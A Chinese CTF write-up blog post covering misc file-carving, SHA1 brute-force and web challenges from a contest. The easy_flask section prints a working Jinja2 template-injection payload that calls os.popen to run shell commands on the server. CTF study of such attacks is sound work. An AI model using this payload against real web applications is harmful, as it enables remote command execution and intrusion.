首页 > 其他分享 >ljnljn的春秋杯冬季赛wp(1.17)

ljnljn的春秋杯冬季赛wp(1.17)

时间:2025-01-17 19:54:27浏览次数:1  
标签:1.17 sha1 hash target zip flag ljnljn wp print

杂项

1、See anything in these pics?

压缩包里有个码,确认是aztec码

image

这个是压缩包密码,解压出一张图片

binwalk找到多个图片,foremost分离

1:JPEG image data, JFIF standard 1.01
2:PNG image, 360 x 450, 8-bit grayscale, non-interlaced
3:TIFF image data, big-endian, offset of first image directory: 8
4:Zlib compressed data, best compression

分离后发现一张全黑照片,分析后发现crc校验不通过,修复高宽后得到最后的flag

image

2、简单镜像提取

是一个流量文件,直接文件——导出对象,得到两个文件

image

其中一个有信息

9584上传文件名: please recovery.zip<br>文件类型: application/x-zip-compressed<br>文件大小: 9.359375 kB<br>文件临时存储的位置: C:\Users\Go up\AppData\Local\Temp\php48E.tmp<br>文件存储在: upload/please recovery.zip

推测另一个就是zip文件

zip文件打开后里面有个img文件,解压,随后用filelocator直接搜flag

image

找到后提交不正确,原因是把末尾的7一起交了

image

再交的时候成功

3、简单算术

根据题目提示用cyberchef解异或

image

密码

1、你是小哈斯?

先用hashes网站尝试了一下,爆破出的基本都是一位字符的形式,猜测全是这样

image

于是写了爆破代码

import hashlib
results=[]

def crack_hash(target_hash):
    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+-=[]{}|;\':\",./<>?'
    for char in charset:
        hash_object = hashlib.sha1(char.encode())
        computed_hash = hash_object.hexdigest()
        if computed_hash == target_hash:
            return char
    return None


with open('hash.txt', 'r') as file:
    for line in file:
        target_hash = line.strip()
        result = crack_hash(target_hash)
        results.append(result)
        if result:
            print(f"哈希值 {target_hash} 匹配的字符: {result}")
            print("".join(results))

获得flag

image

2、通往哈希的旅程

查了一下是sha1形式

image

且已知一共11位,前3位是188,写脚本

import hashlib


def brute_force_sha1(hash_to_find):
    known_prefix = "188"
    for i in range(100000000):  
        test_string = known_prefix + "{:08d}".format(i)
        print("try:",test_string)
        sha1_hash = hashlib.sha1(test_string.encode()).hexdigest()
        if sha1_hash == hash_to_find:
            return test_string
    return None


target_hash = "ca12fd8250972ec363a16593356abb1f3cf3a16d"
original_text = brute_force_sha1(target_hash)
if original_text:
    print(f"找到匹配的原文: {original_text}")
else:
    print("未找到匹配的原文")

之后就能获得电话号码(爆破时间太长就不再爆破了)

网络安全

1、easy_flask

有个输入框,填一下flask常见漏洞

image

发现能运行

image

填入{{ config.__class__.__init__.__globals__['os'].popen('cd flag;cat flag').read() }}

获得flag

image

(希望明天能写多点呜呜)

标签:1.17,sha1,hash,target,zip,flag,ljnljn,wp,print
From: https://www.cnblogs.com/ljnljn/p/18677584

相关文章

  • WPF动画-物体跟随轨迹进行运动
     主要用到:RenderTransformOrigin MatrixTransform  MatrixAnimationUsingPath DoesRotateWithTangent直接上代码<Grid.Resources><PathGeometryx:Key="PATH"Figures="M0,0C9.3627259,14.08419911.524114,20.69051435.333333,23.66666745.377......
  • 1.17 CW 模拟赛 T2. 艺术家
    前言更重要的是研究这题的部分分,赛时居然可以做到\(1\\rm{h}\)没有拿到任何一个特殊性质发现以前一直用的大标题很碍眼,改了,下课把之前的格式也改一下思路暴力容易模拟,做到\(25\%\)特殊性质\(\rm{A}\)思路你发现每一个区间都是其后面区间的前缀,而且每次长......
  • 1.17 刷题
    1思路P1331海战-洛谷|计算机科学教育新生态(luogu.com.cn)本题难点主要是如何分辨哪些穿是相撞而产生无效,哪些是有效很容易想到的是,不论是bfs还是dfs都可以轻松全部搜掉,只需要简单的遍历所有点,然后套板子即可但是这是无法排除无效情况的,也就是相撞的情况推敲一下,发现......
  • wps数据分析000002
    目录一、快速定位技巧二、快速选中技巧全选选中部分区域选中部分区域(升级版)三、快速移动技巧四、快速录入技巧五、总结一、快速定位技巧ctrl+→(上下左右)快速定位光标对准单元格的上下部分双击名称单元格中输入二、快速选中技巧全选先把光标定位到数据区域,ctrl+A......
  • 龙信年终考核WP
    龙信年终考核WP难度偏低,题量小。但发挥不是很好,服务器一如既往地废掉,唐哥yyds!1.分析手机备份文件,该机主的QQ号为?(标准格式:123)12034945532.分析手机备份文件,该机主的微信号为?(标准格式:abcdefg)liudaren05073.请问该手机机主微信共有_____个现有好友?(标准格式:12)15要刨除自己......
  • 推荐3款officewps办公室神级软件 让你的办公效率飞起来
    聊一聊在日常工作中难免会遇到对文档、表格有各式各样的要求只有你想不到的没有领导提不出的对于这些复杂想破脑子都无从下手的事怎么办呢?这时候就需要借助各种办公工具来辅助实现了今天就为大家推荐3款提升日常办公效率的办公室神级软件软件介绍1.方方格子软件要求:......
  • 第八届工业信息安全技能大赛全国复赛snake_wp
    pwn题snakewriteup多少有点不自信,太久没做题,看到题都有点怕怕的这个程序是一个贪食蛇游戏,主程序如下:__int64__fastcallmain_4015A5(__int64a1,__int64a2){intv2;//edxintv3;//ecxintv4;//er8intv5;//er9intv7;//[rsp+Ch][rbp-4h]......
  • WPF冷却塔组件
    1.封装基类ComponentBase.cs继承自UserControl,定义组件中使用的属性和命令publicclassComponentBase:UserControl{privatebool_isSelected;publicboolIsSelected{get{return_isSelected;}set{_isSelecte......
  • WPF 使用GalaSoft.MvvmLight实现MVVM
    MVVM(Model-View-ViewModel)是一种设计模式,用于分离用户界面(View)与业务逻辑(ViewModel)和数据模型(Model)。这种模式特别适用于WPF(WindowsPresentationFoundation)应用程序,因为它可以充分利用WPF的数据绑定、命令和依赖属性等特性,提高应用程序的可维护性和可测试性。MVVM的三个......
  • 【WPF】使用RenderTargetBitmap截图的时候位置出现偏移的一些解决办法
    简介在WPF中,如果你需要把控件的渲染画面保存到图片,那么唯一的选择就是RenderTargetBitmap。不过,RenderTargetBitmap是个比较难伺候的主,有时候你以为能工作,但实际上不能;你以为能够正常截图,但实际上截出来的图片是歪的。所以,我总结一下自己项目中遇到的坑和解决办法吧!保存的图片......